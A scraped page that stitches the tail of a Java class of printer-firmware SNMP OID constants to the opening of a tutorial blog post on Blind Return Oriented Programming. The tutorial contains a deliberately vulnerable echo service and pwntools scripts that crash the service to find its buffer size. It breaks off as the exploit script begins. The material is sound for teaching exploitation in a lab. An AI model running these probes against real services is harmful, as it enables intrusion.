>  
>  public static final OID condorKsFont = condorKSC5843Menu.index\(1\);  
>  
>  public static final OID condorKsFontOptions = condorKSC5843Menu.index\(2\);  
>  
>  public static final OID condorKsCode = condorKSC5843Menu.index\(3\);  
>  
>  public static final OID condorKsCodeOptions = condorKSC5843Menu.index\(4\);  
>  
>  public static final OID condorKsCPI = condorKSC5843Menu.index\(5\);  
>  
>  public static final OID condorKsCPIOptions = condorKSC5843Menu.index\(6\);  
>  
>  public static final OID condorKsLines = condorKSC5843Menu.index\(7\);  
>  
>  public static final OID condorKsZoom = condorKSC5843Menu.index\(8\);  
>  
>  public static final OID condorKsAutoWrap = condorKSC5843Menu.index\(9\);  
>  
>  public static final OID condorKsAutoWrapOptions =
> condorKSC5843Menu.index\(10\);  
>  
>  public static final OID condorKsTop = condorKSC5843Menu.index\(11\);  
>  
>  public static final OID condorKsSite = condorKSC5843Menu.index\(12\);  
>  
>  
>  
>  public static final OID condorKssmFont = condorKSSMMenu.index\(1\);  
>  
>  public static final OID condorKssmFontOptions = condorKSSMMenu.index\(2\);  
>  
>  public static final OID condorKssmCode = condorKSSMMenu.index\(3\);  
>  
>  public static final OID condorKssmCodeOptions = condorKSSMMenu.index\(4\);  
>  
>  public static final OID condorKssmCPI = condorKSSMMenu.index\(5\);  
>  
>  public static final OID condorKssmCPIOptions = condorKSSMMenu.index\(6\);  
>  
>  public static final OID condorKssmLines = condorKSSMMenu.index\(7\);  
>  
>  public static final OID condorKssmZoom = condorKSSMMenu.index\(8\);  
>  
>  public static final OID condorKssmAutoWrap = condorKSSMMenu.index\(9\);  
>  
>  public static final OID condorKssmAutoWrapOptions =
> condorKSSMMenu.index\(10\);  
>  
>  public static final OID condorKssmTop = condorKSSMMenu.index\(11\);  
>  
>  public static final OID condorKssmSite = condorKSSMMenu.index\(12\);  
>  
>  
>  
>  public static final OID condorKs95Font = condorKSC5895Menu.index\(1\);  
>  
>  public static final OID condorKs95FontOptions =
> condorKSC5895Menu.index\(2\);  
>  
>  public static final OID condorKs95Code = condorKSC5895Menu.index\(3\);  
>  
>  public static final OID condorKs95CodeOptions =
> condorKSC5895Menu.index\(4\);  
>  
>  public static final OID condorKs95Lines = condorKSC5895Menu.index\(5\);  
>  
>  public static final OID condorKs95LinesOptions =
> condorKSC5895Menu.index\(6\);  
>  
>  public static final OID condorKs95PointSize = condorKSC5895Menu.index\(7\);  
>  
>  public static final OID condorKs95Zoom = condorKSC5895Menu.index\(8\);  
>  
>  public static final OID condorKs95AutoWrap = condorKSC5895Menu.index\(9\);  
>  
>  public static final OID condorKs95AutoWrapOptions =
> condorKSC5895Menu.index\(10\);  
>  
>  
>  
>  public static final OID condorEpsonFont = condorEpsonMenu.index\(1\);  
>  
>  public static final OID condorEpsonFontOptions =
> condorEpsonMenu.index\(2\);  
>  
>  public static final OID condorEpsonAutoWrap = condorEpsonMenu.index\(3\);  
>  
>  public static final OID condorEpsonAutoWrapOptions =
> condorEpsonMenu.index\(4\);  
>  
>  public static final OID condorEpsonCharSet = condorEpsonMenu.index\(5\);  
>  
>  public static final OID condorEpsonCharSetOptions =
> condorEpsonMenu.index\(6\);  
>  
>  public static final OID condorEpsonCharTable = condorEpsonMenu.index\(7\);  
>  
>  public static final OID condorEpsonCharTableOptions =
> condorEpsonMenu.index\(8\);  
>  
>  public static final OID condorEpsonLines = condorEpsonMenu.index\(9\);  
>  
>  public static final OID condorEpsonLinesOptions =
> condorEpsonMenu.index\(10\);  
>  
>  public static final OID condorEpsonPitch = condorEpsonMenu.index\(11\);  
>  
>  public static final OID condorEpsonPitchOptions =
> condorEpsonMenu.index\(12\);  
>  
>  
>  
>  public static final OID colorSupported = ippMenu.index\(1\);  
>  
>  public static final OID jobKOctetsSupportedLBound = ippMenu.index\(2\);  
>  
>  public static final OID jobKOctetsSupportedUBound = ippMenu.index\(3\);  
>  
>  public static final OID jobImpressionsSupportedLBound = ippMenu.index\(4\);  
>  
>  public static final OID jobImpressionsSupportedUBound = ippMenu.index\(5\);  
>  
>  public static final OID jobMediaSheetsSupportedLBound = ippMenu.index\(6\);  
>  
>  public static final OID jobMediaSheetsSupportedUBound = ippMenu.index\(7\);  
>  
>  public static final OID jobSheets = ippMenu.index\(8\);  
>  
>  public static final OID collatedCopiesLBound = ippMenu.index\(9\);  
>  
>  public static final OID collatedCopiesUBound = ippMenu.index\(10\);  
>  
>  public static final OID collatedCopies = ippMenu.index\(11\);  
>  
>  public static final OID finishingsSupported = ippMenu.index\(12\);  
>  
>  public static final OID finishings = ippMenu.index\(13\);  
>  
>  public static final OID pageRangesSupported = ippMenu.index\(14\);  
>  
>  public static final OID numberUp = ippMenu.index\(15\);  
>  
>  public static final OID numberUpOptions = ippMenu.index\(16\);  
>  
>  public static final OID printQuality = ippMenu.index\(17\);  
>  
>  public static final OID printQualityOptions = ippMenu.index\(18\);  
>  
>  public static final OID jobKOctetsProcessed = ippMenu.index\(19\);  
>  
>  public static final OID jobImpressionsCompleted = ippMenu.index\(20\);  
>  
>  public static final OID jobMediaSheetsCompleted = ippMenu.index\(21\);  
>  
>  
>  
>  public static final OID netwJobCheckDelay = netw.index\(1\);  
>  
>  public static final OID netwConfCheckDelay = netw.index\(2\);  
>  
>  public static final OID netwServiceQueueTable = netw.index\(3\);  
>  
>  
>  
>  public static final OID netwServiceQueueEntry =
> netwServiceQueueTable.index\(1\);  
>  
>  
>  
>  public static final OID netwServiceQueueIndex =
> netwServiceQueueEntry.index\(1\);  
>  
>  public static final OID netwServiceQueueName =
> netwServiceQueueEntry.index\(2\);  
>  
>  public static final OID netwServiceQueuePSMode =
> netwServiceQueueEntry.index\(3\);  
>  
>  public static final OID netwServiceQueuePSStatus =
> netwServiceQueueEntry.index\(4\);  
>  
>  public static final OID netwServiceQueuePSName =
> netwServiceQueueEntry.index\(5\);  
>  
>  public static final OID netwServiceQueueStatus =
> netwServiceQueueEntry.index\(6\);  
>  
>  
>  
>  public static final OID configIpAddrAssignMethod = config.index\(1\);  
>  
>  public static final OID configSoftDownloadMethod = config.index\(2\);  
>  
>  public static final OID configBootInfoSource = config.index\(3\);  
>  
>  public static final OID configFlashUpgrade = config.index\(4\);  
>  
>  public static final OID configIpAddr = config.index\(5\);  
>  
>  public static final OID configNetMask = config.index\(6\);  
>  
>  public static final OID configBootServAddress = config.index\(7\);  
>  
>  public static final OID configBootFileName = config.index\(8\);  
>  
>  public static final OID configDefGateway = config.index\(9\);  
>  
>  public static final OID configFrameTypeAuto = config.index\(10\);  
>  
>  public static final OID configFrameType8022 = config.index\(11\);  
>  
>  public static final OID configFrameType8023 = config.index\(12\);  
>  
>  public static final OID configFrameTypeEthernetII = config.index\(13\);  
>  
>  public static final OID configFrameTypeSNAP = config.index\(14\);  
>  
>  public static final OID configRdsIpAddr = config.index\(15\);  
>  
>  public static final OID configFWVer = config.index\(16\);  
>  
>  
>  
>  public static final OID ctlAtlkEnb = control.index\(1\);  
>  
>  public static final OID ctlNetwEnb = control.index\(2\);  
>  
>  public static final OID ctlTcpIpEnb = control.index\(3\);  
>  
>  public static final OID ctlLpdEnb = control.index\(4\);  
>  
>  public static final OID ctlSmbNetBIOSEnb = control.index\(5\);  
>  
>  
>  
>  public static final OID connsPrintLockStatus = conns.index\(1\);  
>  
>  public static final OID connsCurrPrintSource = conns.index\(2\);  
>  
>  
>  
>  public static final OID atalkLastError = appleTalk.index\(1\);  
>  
>  public static final OID rtmpA\_ROUTERAgingTimer = appleTalk.index\(2\);  
>  
>  public static final OID rtmpA\_ROUTERValue = appleTalk.index\(3\);  
>  
>  public static final OID aepRetryCount = appleTalk.index\(4\);  
>  
>  public static final OID aepRetryDelay = appleTalk.index\(5\);  
>  
>  public static final OID atalkPrinterName = appleTalk.index\(6\);  
>  
>  public static final OID papTickleTimer = appleTalk.index\(7\);  
>  
>  
>  
>  public static final OID ippPrinterURITable = ipp.index\(1\);  
>  
>  public static final OID ippPrinterName = ipp.index\(2\);  
>  
>  public static final OID ippPrinterLocation = ipp.index\(3\);  
>  
>  public static final OID ippPrinterInfo = ipp.index\(4\);  
>  
>  public static final OID ippPrinterMoreInfo = ipp.index\(5\);  
>  
>  public static final OID ippPrinterDrvInstaller = ipp.index\(6\);  
>  
>  public static final OID ippPrinterManufacturerInfo = ipp.index\(7\);  
>  
>  public static final OID ippQueuedJobCount = ipp.index\(8\);  
>  
>  public static final OID ippOperatorMessage = ipp.index\(9\);  
>  
>  public static final OID ippMultipleOpTimeOut = ipp.index\(10\);  
>  
>  public static final OID ippJobHistoryTimeOut = ipp.index\(11\);  
>  
>  
>  
>  public static final OID ippPrinterURIEntry = ippPrinterURITable.index\(1\);  
>  
>  
>  
>  public static final OID ippUriSecurity = ippPrinterURIEntry.index\(1\);  
>  
>  public static final OID ippPrinterURI = ippPrinterURIEntry.index\(2\);  
>  
>  
>  
>  public static final OID dlcGeneral = dlc.index\(1\);  
>  
>  public static final OID dlcType2 = dlc.index\(2\);  
>  
>  public static final OID dlcType1 = dlc.index\(3\);  
>  
>  
>  
>  public static final OID dlcInInvalids = dlcGeneral.index\(1\);  
>  
>  public static final OID dlcInPolls = dlcGeneral.index\(2\);  
>  
>  public static final OID dlcOutPolls = dlcGeneral.index\(3\);  
>  
>  public static final OID dlcInPollResponses = dlcGeneral.index\(4\);  
>  
>  public static final OID dlcOutPollResponses = dlcGeneral.index\(5\);  
>  
>  public static final OID dlcLocalBusies = dlcGeneral.index\(6\);  
>  
>  public static final OID dlcRemoteBusies = dlcGeneral.index\(7\);  
>  
>  public static final OID dlcInIFrames = dlcGeneral.index\(8\);  
>  
>  public static final OID dlcOutIFrames = dlcGeneral.index\(9\);  
>  
>  public static final OID dlcInErrors = dlcGeneral.index\(10\);  
>  
>  public static final OID dlcOutDupIFrames = dlcGeneral.index\(11\);  
>  
>  
>  
>  public static final OID dlcType2ConnTable = dlcType2.index\(1\);  
>  
>  
>  
>  public static final OID dlcType2ConnEntry = dlcType2ConnTable.index\(1\);  
>  
>  
>  
>  public static final OID dlcConnLocalAddr = dlcType2ConnEntry.index\(1\);  
>  
>  public static final OID dlcConnLocalSap = dlcType2ConnEntry.index\(2\);  
>  
>  public static final OID dlcConnRemAddr = dlcType2ConnEntry.index\(3\);  
>  
>  public static final OID dlcConnRemSap = dlcType2ConnEntry.index\(4\);  
>  
>  public static final OID dlcConnInFrames = dlcType2ConnEntry.index\(5\);  
>  
>  public static final OID dlcConnOutFrames = dlcType2ConnEntry.index\(6\);  
>  
>  public static final OID dlcConnInOctets = dlcType2ConnEntry.index\(7\);  
>  
>  public static final OID dlcConnOutOctets = dlcType2ConnEntry.index\(8\);  
>  
>  public static final OID dlcConnState = dlcType2ConnEntry.index\(9\);  
>  
>  public static final OID dlcConnInPolls = dlcType2ConnEntry.index\(10\);  
>  
>  public static final OID dlcConnOutPolls = dlcType2ConnEntry.index\(11\);  
>  
>  public static final OID dlcConnInPollResps = dlcType2ConnEntry.index\(12\);  
>  
>  public static final OID dlcConnOutPollResps =
> dlcType2ConnEntry.index\(13\);  
>  
>  public static final OID dlcConnLocalBusies = dlcType2ConnEntry.index\(14\);  
>  
>  public static final OID dlcConnRemoteBusies =
> dlcType2ConnEntry.index\(15\);  
>  
>  public static final OID dlcConnInIFrames = dlcType2ConnEntry.index\(16\);  
>  
>  public static final OID dlcConnOutIFrames = dlcType2ConnEntry.index\(17\);  
>  
>  public static final OID dlcConnInXIDs = dlcType2ConnEntry.index\(18\);  
>  
>  public static final OID dlcConnOutXIDs = dlcType2ConnEntry.index\(19\);  
>  
>  public static final OID dlcConnInTESTs = dlcType2ConnEntry.index\(20\);  
>  
>  public static final OID dlcConnOutTESTs = dlcType2ConnEntry.index\(21\);  
>  
>  public static final OID dlcConnInREJs = dlcType2ConnEntry.index\(22\);  
>  
>  public static final OID dlcConnOutREJs = dlcType2ConnEntry.index\(23\);  
>  
>  public static final OID dlcConnInFRMRs = dlcType2ConnEntry.index\(24\);  
>  
>  public static final OID dlcConnOutFRMRs = dlcType2ConnEntry.index\(25\);  
>  
>  
>  
>  public static final OID dlcListenerTable = dlcType1.index\(1\);  
>  
>  public static final OID dlcListenerEntry = dlcListenerTable.index\(1\);  
>  
>  public static final OID dlcListenerLocalAddr = dlcListenerEntry.index\(1\);  
>  
>  public static final OID dlcListenerLocalSap = dlcListenerEntry.index\(2\);  
>  
>  public static final OID dlcListenerInUIs = dlcListenerEntry.index\(3\);  
>  
>  public static final OID dlcListenerOutUIs = dlcListenerEntry.index\(4\);  
>  
>  public static final OID dlcListenerInXIDs = dlcListenerEntry.index\(5\);  
>  
>  public static final OID dlcListenerOutXIDs = dlcListenerEntry.index\(6\);  
>  
>  public static final OID dlcListenerInTESTs = dlcListenerEntry.index\(7\);  
>  
>  public static final OID dlcListenerOutTESTs = dlcListenerEntry.index\(8\);  
>  
>  
>  
>  public static final OID netBEUI = netbios.index\(1\);  
>  
>  
>  
>  public static final OID netBEUINS = netBEUI.index\(1\);  
>  
>  public static final OID netBEUISS = netBEUI.index\(2\);  
>  
>  public static final OID netBEUIDS = netBEUI.index\(3\);  
>  
>  
>  
>  public static final OID netBEUISSSessionInitializeTimeout =
> netBEUISS.index\(1\);  
>  
>  public static final OID netBEUISSSessionNoBufDiscards =
> netBEUISS.index\(2\);  
>  
>  public static final OID netBEUISSOutNoListens = netBEUISS.index\(3\);  
>  
>  public static final OID netBEUISSSessionTimeoutDiscards =
> netBEUISS.index\(4\);  
>  
>  public static final OID netBEUISSDataFirstMiddleOut = netBEUISS.index\(5\);  
>  
>  public static final OID netBEUISSDataOnlyLastOut = netBEUISS.index\(6\);  
>  
>  public static final OID netBEUISSDataFirstMiddleIn = netBEUISS.index\(7\);  
>  
>  public static final OID netBEUISSDataOnlyLastIn = netBEUISS.index\(8\);  
>  
>  public static final OID netBEUISSNoReceiveIn = netBEUISS.index\(9\);  
>  
>  public static final OID netBEUISSReceiveOutstandingIn =
> netBEUISS.index\(10\);  
>  
>  public static final OID netBEUISSPiggyBackTimeouts = netBEUISS.index\(11\);  
>  
>  public static final OID netBEUISSSessionsEntertained =
> netBEUISS.index\(12\);  
>  
>  public static final OID netBEUISSSessionAbortions = netBEUISS.index\(13\);  
>  
>  public static final OID netBEUISSMemoryAllocationFailures =
> netBEUISS.index\(14\);  
>  
>  
>  
>  public static final OID netBEUIDSPacketsForNonExistentName =
> netBEUIDS.index\(1\);  
>  
>  public static final OID netBEUIDSInNoBufferDiscards = netBEUIDS.index\(2\);  
>  
>  public static final OID netBEUIDSOutNoBuffDiscards = netBEUIDS.index\(3\);  
>  
>  public static final OID netBEUIDSMemoryAllocationFailures =
> netBEUIDS.index\(4\);  
>  
>  
>  
>  public static final OID netBEUINSConfigNRetryTimer = netBEUINS.index\(1\);  
>  
>  public static final OID netBEUINSConfigRetryCount = netBEUINS.index\(2\);  
>  
>  public static final OID netBEUINSPacketsFailedToXmit =
> netBEUINS.index\(3\);  
>  
>  public static final OID netBEUINSStatNameQueryXmitted =
> netBEUINS.index\(4\);  
>  
>  public static final OID netBEUINSStatNameQueryReceivedAndProcessed =
> netBEUINS.index\(5\);  
>  
>  public static final OID netBEUINSAddNameQueryXmitted =
> netBEUINS.index\(6\);  
>  
>  public static final OID netBEUINSAddNameQueryReceivedAndProcessed =
> netBEUINS.index\(7\);  
>  
>  public static final OID netBEUINSAddGroupNameQueryXmitted =
> netBEUINS.index\(8\);  
>  
>  public static final OID netBEUINSAddGroupNameQueryReceivedAndProcessed =
> netBEUINS.index\(9\);  
>  
>  public static final OID netBEUINSAddNameResponseXmitted =
> netBEUINS.index\(10\);  
>  
>  public static final OID netBEUINSAddNameResponseReceivedAndProcessed =
> netBEUINS.index\(11\);  
>  
>  public static final OID netBEUINSNameRecognizedXmitted =
> netBEUINS.index\(12\);  
>  
>  public static final OID netBEUINSNameRecognizedReceivedAndProcessed =
> netBEUINS.index\(13\);  
>  
>  public static final OID netBEUINSNameConflictXmitted =
> netBEUINS.index\(14\);  
>  
>  public static final OID netBEUINSNameConflictReceivedAndProcessed =
> netBEUINS.index\(15\);  
>  
>  
>  
>  public static final OID smbNetBIOSGroupName = smb.index\(1\);  
>  
>  public static final OID smbNetBIOSSessionTimeout = smb.index\(2\);  
>  
>  public static final OID smbActiveConnections = smb.index\(4\);  
>  
>  public static final OID smbConnectionSlotNotAvailable = smb.index\(5\);  
>  
>  public static final OID smbConnectionAborts = smb.index\(6\);  
>  
>  public static final OID smbSessionsClosedOnTimeout = smb.index\(7\);  
>  
>  public static final OID smbNetBIOSNameStatus = smb.index\(8\);  
>  
>  public static final OID smbDialectUnSupportedErrors = smb.index\(9\);  
>  
>  public static final OID smbProcessCreationFailures = smb.index\(10\);  
>  
>  public static final OID smbMemoryAllocationFailures = smb.index\(11\);  
>  
>  public static final OID smbTransactsReceived = smb.index\(12\);  
>  
>  public static final OID smbTransactResponses = smb.index\(13\);  
>  
>  public static final OID smbTransact2sReceived = smb.index\(14\);  
>  
>  public static final OID smbTransact2Responses = smb.index\(15\);  
>  
>  public static final OID smbSecondaryTransactsReceived = smb.index\(16\);  
>  
>  public static final OID smbSecondaryTransactResponses = smb.index\(17\);  
>  
>  public static final OID smbUnsupportedTransacts = smb.index\(18\);  
>  
>  public static final OID smbRapRequestsReceived = smb.index\(19\);  
>  
>  public static final OID smbRapFunctionErrors = smb.index\(20\);  
>  
>  public static final OID smbEchosRequestsReceived = smb.index\(21\);  
>  
>  public static final OID smbEchoResponses = smb.index\(22\);  
>  
>  public static final OID SmbAnnouncementRequestsReceived = smb.index\(23\);  
>  
>  public static final OID smbHostAnnouncementsSent = smb.index\(24\);  
>  
>  public static final OID smbUnspportedRequestsReceived = smb.index\(25\);  
>  
>  public static final OID SmbSesionsCloseDueToIncorrectState =
> smb.index\(26\);  
>  
>  public static final OID SmbSessionsClosedDueToOtherErrors =
> smb.index\(27\);  
>  
>  public static final OID SmbTransactsReceivedOnDatagramService =
> smb.index\(28\);  
>  
>  public static final OID smbNetBIOSGroupNameStatus = smb.index\(29\);  
>  
>  public static final OID smbShareInfoTable = smb.index\(30\);  
>  
>  
>  
>  public static final OID smbShareInfoEntry = smbShareInfoTable.index\(1\);  
>  
>  
>  
>  public static final OID smbShareInfoIndex = smbShareInfoEntry.index\(1\);  
>  
>  public static final OID smbShareName = smbShareInfoEntry.index\(2\);  
>  
>  public static final OID smbShareRemark = smbShareInfoEntry.index\(3\);  
>  
>  public static final OID smbShareUsers = smbShareInfoEntry.index\(4\);  
>  
>  public static final OID smbShareConnections = smbShareInfoEntry.index\(5\);  
>  
>  public static final OID smbShareFileOpenCount =
> smbShareInfoEntry.index\(6\);  
>  
>  public static final OID smbShareFileOpenFailCount =
> smbShareInfoEntry.index\(7\);  
>  
>  public static final OID smbShareFileCloseCount =
> smbShareInfoEntry.index\(8\);  
>  
>  public static final OID smbShareFileCloseFailCount =
> smbShareInfoEntry.index\(9\);  
>  
>  public static final OID smbShareFileReads = smbShareInfoEntry.index\(10\);  
>  
>  public static final OID smbShareFileReadFailures =
> smbShareInfoEntry.index\(11\);  
>  
>  public static final OID smbShareFileWriteRequests =
> smbShareInfoEntry.index\(12\);  
>  
>  public static final OID smbShareFileWriteFailures =
> smbShareInfoEntry.index\(13\);  
>  
>  public static final OID smbShareFileReadRawRequests =
> smbShareInfoEntry.index\(14\);  
>  
>  public static final OID smbShareFileReadRawFailures =
> smbShareInfoEntry.index\(15\);  
>  
>  public static final OID smbShareFileWriteRawRequests =
> smbShareInfoEntry.index\(16\);  
>  
>  public static final OID smbShareFileWriteRawFailures =
> smbShareInfoEntry.index\(17\);  
>  
>  
>  
>  public static final OID NTPServer = webdetails.index\(1\);  
>  
>  public static final OID TimeWRTGMT = webdetails.index\(2\);  
>  
>  public static final OID WebServiceQueueTable = webdetails.index\(3\);  
>  
>  
>  
>  public static final OID WebServiceQueueEntry =
> WebServiceQueueTable.index\(1\);  
>  
>  
>  
>  public static final OID webServiceQueueIndex =
> WebServiceQueueEntry.index\(1\);  
>  
>  public static final OID webServiceQueueUR =
> WebServiceQueueEntry.index\(2\);  
>  
>  public static final OID webServiceQueueTimeOfRetrieval =
> WebServiceQueueEntry.index\(3\);  
>  
>  public static final OID webServiceQueueDateOfRetrieval =
> WebServiceQueueEntry.index\(4\);  
>  
>  public static final OID webServiceQueueImageTextOption =
> WebServiceQueueEntry.index\(5\);  
>  
>  
>  
>  public static final OID pop3Account = emaildetails.index\(1\);  
>  
>  
>  
>  public static final OID emailPrinterEnable = emailprinter.index\(1\);  
>  
>  public static final OID emailPrinterDNSServer = emailprinter.index\(2\);  
>  
>  
>  
>  public static final OID smtp = emailprinter.index\(3\);  
>  
>  public static final OID pop3 = emailprinter.index\(4\);  
>  
>  
>  
>  public static final OID smtpServerName = smtp.index\(1\);  
>  
>  public static final OID smtpPort = smtp.index\(2\);  
>  
>  public static final OID smtpEmailAddressOfAdmin = smtp.index\(3\);  
>  
>  
>  
>  public static final OID pop3RetryInterval = pop3.index\(1\);  
>  
>  public static final OID pop3MaxNoOfEntries = pop3.index\(2\);  
>  
>  public static final OID pop3AccountTable = pop3.index\(3\);  
>  
>  public static final OID pop3AccountEntry = pop3AccountTable.index\(1\);  
>  
>  
>  
>  public static final OID pop3AccountServerName =
> pop3AccountEntry.index\(1\);  
>  
>  public static final OID pop3ServerName = pop3AccountEntry.index\(2\);  
>  
>  public static final OID pop3UserName = pop3AccountEntry.index\(3\);  
>  
>  public static final OID pop3Password = pop3AccountEntry.index\(4\);  
>  
>  public static final OID pop3Port = pop3AccountEntry.index\(5\);  
>  
>  public static final OID pop3RealName = pop3AccountEntry.index\(6\);  
>  
>  public static final OID pop3EmailLastCheckDate =
> pop3AccountEntry.index\(7\);  
>  
>  public static final OID pop3EmailLastCheckTime =
> pop3AccountEntry.index\(8\);  
>  
>  public static final OID pop3DeleteMailOnServer =
> pop3AccountEntry.index\(9\);  
>  
>  public static final OID pop3AccountStatus = pop3AccountEntry.index\(10\);  
>  
>  \}
I’ll let you come up with your own conspiracy theories as to what this might
be doing. If someone wants the raw firmware images to look through, since
Samsung looks to have pulled all of their printer firmware from their support
pages… Luckily, completely unresponsive Dell keeps full revision history:
https://www.dell.com/support/drivers/us/en/04/driverdetails/product/dell-2335dn?driverid=vg0nw&fileid=3082823411

Lastly, this is suiting for the occasion: http://vimeo.com/34320814

This was posted 16 hours ago. It has 1 note.

  1. forensicsdaily reblogged this from l8security
  2. l8security posted this

@neilwillgettoit

Powered by Tumblr and designed by Evan Walsh. View some archived posts if you
please.

# Blind Return Oriented Programming 102

**Created:**| _9/4/2017 9:31:20 AM_  
---|---  
**Updated:**| _9/4/2017 9:31:20 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Blind Return Oriented Programming 102

__ 35 minute read

Howdy\! I didn’t post for long time, but I am back and will \(hopefully\) blog
every now and then with fun stuff that I learn and do, CTFs write-ups if I am
lucky to finish any interesting challenge, and maybe any random idea. Today I
will post about me experimenting with Blind ROP. This post is inspired by
Gynvael Coldwind streaming, thumbs up for this guy, his videos are amazing and
really inspiring. I will try to do a challenge similar to the one he did but
in a little bit different environment. As a matter of fact, all techniques
described here are originally described by Hacking blind paper published by
Stanford university.

## Assumptions

Together, we will be exploiting a service with the given assumptions:

  * The compiled binary is not available.
  * The program is compiled with stack canaries.
  * It is compiled for x86\_64 architecture.
  * Stack is not executable.
  * It works on Linux system with full ASLR.
  * Binary isn’t compiled with position independent code \(PIC\).

Finally and most importantly the source code of the program is known.



[code]

    // echo.c
    // compiled with:
    //	gcc echo.c -o echo -fstack-protector
    
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/wait.h>
    #include <string.h>
    int echo_service(){
        char x[100];
        read(0, x, 500);
        printf("%s", x);
        fflush(stdout);
    }
    int main(void) {
        while(1) {
            if (fork() == 0) {
                echo_service();
                return 0;
            }
            int status;
            wait(&status);
            if (status != 0) {
                puts("You broke the internet!");
                fflush(stdout);
            }
        }
        return 0;
    }
    
[/code]

The program is simple echo service, it is easy to spot the vulnerability,
nothing special with it. The ultimate goal will be being able to construct ROP
chain to get code execution \(We will not go far into the meat of code
execution ROP chain\). That is a topic of another post. But we will be able to
gain primitives that is sufficient to construct such ROP chain.

## Setting up the environment

This section is completely optional feel free to skip this part and set-up
your environment the way you like, If you are not sure, read on.

### Requirements:

  * VirtualBox + VirtualBox Extension Pack.
  * 64 bit Linux guest.

### Setting up host only network:

What we want to achieve is to setup a local guest server to host our console
echo service. For this, we need a virtual local network to link between our
host and guest.

Open VirtualBox-> File -> Preferences -> Network -> Host-only Networks, hit
the plus sign on the right. <img src='img/Temp2_1079.png' width='542'
height='359' alt='creating Host-only interface' />

In the network settings of your VM, make sure to change the adapter type to
host-only adapter and its name to whatever the Host-only interface you
created. In my case it was vboxnet0.

Now enable the interface just in case your operating system didn’t handle it
automatically in host.



[code]

    [root@host ~]# ifconfig vboxnet0 up
    [root@host ~]# dhclient --no-pid vboxnet0
    
[/code]

Now reboot the guest machine, compile the binary, and launch the pwnable
service\!



[code]

    [user@guest ~]$ gcc echo.c -o echo -fstack-protector
    [user@guest ~]$ socat -v tcp-l:31337,fork exec:'./echo'
    
[/code]

Finally get the guest IP and put the service to test.



[code]

    [user@host ~]$ nc 192.168.56.101 31337
    AAAA
    AAAA
    AAAAAA
    AAAAAA
    A
    A
    AAAAAAAAAAA
    AAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    You broke the internet!
    AAA
    AAA
    
[/code]

At this point everything works fine and there will be almost no need to turn
back to the VM at all. \(SPOILER ALERT: There will be gadgets that might
behave as fork bombs so you will need to restart your VM if you ever noticed
lagging in the service\). Be warned you \(and me\) are not allowed to peek
into the VM at all\!

## The Stack canaries

The idea behind stack canary is to generate a secret value at run time and
place it at the end of every buffer or before each return address. Before any
function returns, it checks if the stack canary is changed, and if it is, the
process panics and crashes. Since the attacker doesn’t know the secret value
stored in the stack canary, it will be almost impossible for him to benefit
from most stack overflow based attacks, “almost”. <img
src='img/Temp2_1077.png' width='636' height='476' alt='stack canary' />

From the source code we can tell that overwriting stack canaries will lead to
to printing the string “You broke the internet\!” due to process crashing\!
The good news here is stack canaries doesn’t change with each fork\! So we can
try to guess it 1 byte at a time. First we need to find the maximum size of
buffer that doesn’t crash the service.



[code]

    ➜ python
    >>> from pwn import *
    >>> p = connect("192.168.56.101", 31337)
    [x] Opening connection to 192.168.56.101 on port 31337
    [x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    >>> steps = 1
    >>> payload = "A"
    >>> while True:
    ...     p.send(payload*steps)
    ...     output = p.recv()
    ...     if "You broke the internet!" in output:
    ...         print "[*] Crashed at %i" %steps
    ...         steps -= 1
    ...         break;
    ...     steps +=1
    ... 
    [*] crashed at 106
    >>> 
    
[/code]

To make sure that everything worked correctly we can verify that sending 105
bytes won’t crash the service.



[code]

    >>> p.send("A"*105)
    >>> p.recv()
    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9a\xe1[\xf7\xcf\xd6PiC\x9e\xfe\x7fYou broke the internet!\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe\x9a\xe1[\xf7\xcf\xd6PiC\x9e\xfe\x7fYou broke the internet!\n'
    
[/code]

The output is quite interesting. First it did crash, second the String “You
broke the internet existed twice with some garbage before it that could be
extremely useful in the future. It turns out that this is buffering issue,
forking/waiting are expensive subroutines and they takes relatively long time
to get its job done. So ` recv() ` function gets part of the text before `
wait() ` finishes.

We can test put our theory to test by inserting a short delay between each `
send() ` and ` recv() ` calls.



[code]

    >>> from pwn import *
    >>> import time
    >>> p = connect("192.168.56.101", 31337)
    [x] Opening connection to 192.168.56.101 on port 31337
    [x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
    [+] Opening connection to 192.168.56.101 on port 31337: Done
    >>> steps = 1
    >>> payload = "A"
    >>> while True:
    ...     p.send(payload*steps)
    ...     time.sleep(2)
    ...     output = p.recv()
    ...     if "You broke the internet!" in output:
    ...         print "[*] crashed on %i" %steps
    ...         steps -= 1
    ...         break;
    ...     steps +=1
    ... 
    [*] crashed on 105
    >>> p.send("A"*104)
    >>> p.recv()
    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    >>> 
    
[/code]

This version took much longer, it took about 3.5 minutes to finish time but
proved that the we did have some buffering issues and they can be fixed by
inserting short delays. We can optimize the algorithm to do binary search for
the maximum input size that doesn’t smash the stack \(payload\).



[code]

    # exploit.py
    from pwn import *
    import time
